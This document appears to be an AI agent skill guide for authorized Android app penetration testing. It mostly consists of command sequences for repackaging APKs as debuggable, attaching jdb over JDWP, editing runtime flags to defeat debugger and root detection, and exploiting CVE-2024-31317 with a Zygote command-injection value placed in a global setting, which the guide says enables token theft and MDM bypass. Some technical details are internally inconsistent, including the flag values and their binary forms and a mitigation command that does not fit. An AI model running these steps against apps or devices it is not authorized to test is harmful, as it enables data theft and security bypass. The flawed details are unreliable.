Android Debuggable Application Exploitation
A skill for authorized security testing of Android applications, focusing on debuggable app exploitation, security check bypasses, and runtime manipulation.
When to Use This Skill
Use this skill when:
- You need to test Android app security during authorized penetration testing
- You want to analyze a debuggable APK or make one debuggable
- You need to bypass root detection or debuggable checks in an app
- You want to perform runtime code injection via JDWP
- You're testing for CVE-2024-31317 vulnerabilities
- You need to enumerate and attach to JDWP ports
Prerequisites
- Android device or emulator with ADB access
- ADB tools installed and device connected
- APK file to test (or installed app)
- Android Studio or JDB for debugging
- Authorization: Only use on apps you own or have explicit permission to test
Core Techniques
1. Making an App Debuggable
When an APK is not debuggable, you can modify it to enable debugging:
# Decompile the APK
apktool d app.apk -o app-decompiled
# Edit AndroidManifest.xml - add this line in the <application> tag:
android:debuggable="true"
# Recompile and sign
apktool b app-decompiled -o app-modified.apk
zipalign -v 4 app-modified.apk app-aligned.apk
apksigner sign --ks your-keystore.jks app-aligned.apk
# Install on device
adb install -r app-aligned.apk
2. Setting Up Debug Mode
Once the app is debuggable, prepare it for debugging:
# Get the package name
adb shell pm list packages -3
# Set app to wait for debugger (run before launching app)
adb shell am setup-debug-app -w <package_name>
# For persistence across reboots
adb shell am setup-debug-app -w --persistent <package_name>
# Clear debug flags
adb shell am clear-debug-app <package_name>
3. Enumerating JDWP Ports
Find listening JDWP ports to attach a debugger:
# List all JDWP processes
adb jdwp
# Forward a specific JDWP port to local machine
adb forward tcp:8700 jdwp:<pid>
# Attach with JDB
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
# Or attach with Android Studio:
# File -> Open Profile or APK -> Select the APK
# Then use "Debug" to attach
4. Bypassing Debuggable Checks
Apps often check if they're being debugged. You can bypass these checks:
In the debugger console:
Navigate to the application info structure:
this.mLoadedAPK -> mApplicationInfo -> flagsThe debuggable flag is bit 0x104 (260 in decimal). To disable it:
- Current flags with debuggable:
814267974(binary:11000011100111011110) - Flags without debuggable:
814267972(binary:110000101101000000100010100)
- Current flags with debuggable:
Modify the flag value in the debugger to bypass the check.
For root detection bypass:
Apps check for binaries like su, busybox, magisk. In the debugger:
- Find where the app searches for these binaries
- Modify the search strings or return values to bypass detection
5. Runtime Code Injection
Once attached via JDWP, you can manipulate app behavior:
# In JDB:
# List available classes
classes
# List methods in a class
methods <class_name>
# Set a breakpoint
stop in <class_name>.<method_name>
# View local variables
locals
# Step through code
next
step
# Modify a variable
set <variable_name> = "new_value"
# Continue execution
run
Example: Changing a UI message
# Set breakpoint on onClick method
stop in MainActivity.onClick
# When breakpoint hits, view locals
locals
# Find the message variable and modify it
set message = "Hacked"
# Continue
run
6. CVE-2024-31317 - Forcing Any App Debuggable
Vulnerability: Android 9-14 (pre-June 2024 patch) allows forcing any app to start with JDWP enabled via Zygote command injection.
Requirements:
- Device with Android 9-14, patch level before 2024-06-01
- ADB shell access with
WRITE_SECURE_SETTINGSpermission
Exploitation:
# Step 1: Inject malicious Zygote flag via settings
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# Step 2: Launch target app (it will spawn with JDWP enabled)
adb shell monkey -p <package_name> 1
# Step 3: Enumerate and attach
adb jdwp
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
Impact:
- Full read/write access to app's private data directory
- Token theft from any app
- MDM bypass
- Privilege escalation via exported IPC endpoints
Detection & Mitigation:
- Patch to 2024-06-01 or later security level
- Restrict
WRITE_SECURE_SETTINGSon production devices - Enforce
ro.debuggable=0on managed devices - Disable ADB shell access via
adb disable-verifier
Common Workflows
Quick Debug Setup
# 1. Install debuggable APK
adb install -r app-debug.apk
# 2. Get package name
PACKAGE=$(adb shell pm list packages -3 | grep your.app | cut -d: -f2)
# 3. Setup debug mode
adb shell am setup-debug-app -w $PACKAGE
# 4. Launch app and get JDWP port
adb shell monkey -p $PACKAGE 1
adb jdwp
# 5. Forward and attach
adb forward tcp:8700 jdwp:<pid>
Bypass Check and Inject
# Attach to running app
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
# Find and modify debuggable flag
stop in ContextWrapper.attachBaseContext
run
# When stopped, modify flags
set this.mApplicationInfo.flags = 814267972
run
# Continue to inject code
stop in MainActivity.onClick
run
set result = "Hacked"
run
Tools Reference
| Tool | Purpose |
|---|---|
apktool |
Decompile/recompile APKs |
adb |
Android Debug Bridge for device communication |
jdb |
Java Debugger for JDWP attachment |
Android Studio |
GUI debugger with breakpoint support |
zipalign |
Align APK for optimal performance |
apksigner |
Sign modified APKs |
Safety Notes
- Authorization Required: Only test apps you own or have explicit permission to assess
- Backup Data: Runtime modifications can corrupt app state
- Device Safety: CVE-2024-31317 exploitation can affect system stability
- Legal Compliance: Ensure compliance with local laws and organizational policies